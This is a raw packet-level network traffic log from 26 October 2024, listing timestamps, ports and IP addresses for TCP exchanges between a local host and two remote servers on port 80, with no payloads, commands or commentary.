Oct 26, 2024 07:27:10.875711918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.875714064 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.875726938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.875736952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.875751019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.875755072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.875766993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.875766993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.875788927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.875794888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.875812054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.875812054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.875829935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.875835896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.875847101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.875855923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.875870943 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.875873089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.875885010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.875885963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.875902891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.875910044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.875938892 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.875957012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.876055956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.876149893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.876190901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.876228094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.876241922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.876256943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.876266003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.876281023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.876286983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.876301050 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.876303911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.876324892 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.876344919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.922369957 CEST	49994	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:10.925785065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.925863028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.925877094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.925899029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.925914049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.925921917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.925956964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.927787066 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:10.930664062 CEST	49994	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:10.930785894 CEST	49994	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:10.936150074 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:10.957938910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.957954884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958014965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958084106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958098888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958112955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958144903 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958156109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958179951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958194971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958210945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958237886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958257914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958451986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958465099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958487034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958509922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958533049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958538055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958561897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958580971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958602905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958606005 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958627939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958642960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958667040 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958683968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958687067 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958699942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958724976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958743095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958753109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958775043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958794117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958798885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958813906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958827972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958837986 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958842993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958858013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958863974 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958884954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958884954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958894014 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958909035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958923101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958925962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958940029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958962917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958969116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958969116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958978891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.958980083 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.958996058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959005117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959012985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959028959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959041119 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959044933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959049940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959063053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959081888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959086895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959090948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959110975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959115982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959127903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959140062 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959146976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959152937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959167957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959168911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959184885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959208012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959208965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959224939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959230900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959242105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959255934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959256887 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959269047 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959271908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959290981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959302902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959322929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959342957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959367037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959383011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959397078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959409952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959412098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959418058 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959429026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959440947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959445000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959460020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959461927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959479094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959479094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959495068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959496021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959507942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959511995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959536076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959559917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959568024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959583998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959599972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959608078 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959614992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959628105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959631920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959646940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959647894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959656000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959664106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959678888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959681034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959690094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959697962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959709883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959713936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959728956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959731102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959748030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959748983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959758043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959777117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959793091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959841013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959856987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959872007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959888935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959897041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959918976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959933996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959940910 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959949970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959964991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.959970951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.959986925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960001945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960009098 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960019112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960035086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960040092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960051060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960059881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960074902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960083961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960104942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960112095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960148096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960161924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960182905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960199118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960205078 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960213900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960223913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960231066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960232019 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960247993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960253954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960273027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960280895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960293055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960295916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960319996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960334063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960340023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960347891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960365057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960374117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960385084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960386038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960408926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960411072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960424900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960431099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960441113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960455894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960457087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960474014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960474968 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960490942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960504055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960515976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960520029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960539103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960545063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960561991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960575104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960576057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960586071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960597038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960622072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960653067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960669041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960684061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960700035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960715055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960716963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960736990 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960761070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960834980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960856915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960871935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960886002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960896015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960902929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960915089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960917950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960941076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960958004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960963011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.960973024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960987091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.960997105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961003065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961015940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961026907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961033106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961044073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961051941 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961060047 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961061001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961076975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961080074 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961091995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961093903 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961107969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961117029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961123943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961127996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961141109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961147070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961168051 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961173058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961174011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961208105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961221933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961246967 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961265087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961294889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961312056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961324930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961333990 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961348057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961348057 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961363077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961368084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961385965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961395979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961400986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961411953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961426020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961436033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961441040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961456060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961460114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961472034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961488962 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961500883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961515903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961517096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961535931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961544037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961546898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961559057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961574078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961574078 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961590052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961602926 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961606979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961616993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961622953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961638927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961647987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961656094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961669922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961671114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961690903 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961694002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961709023 CEST	80	49991	185.215.113.84	192.168.2.6
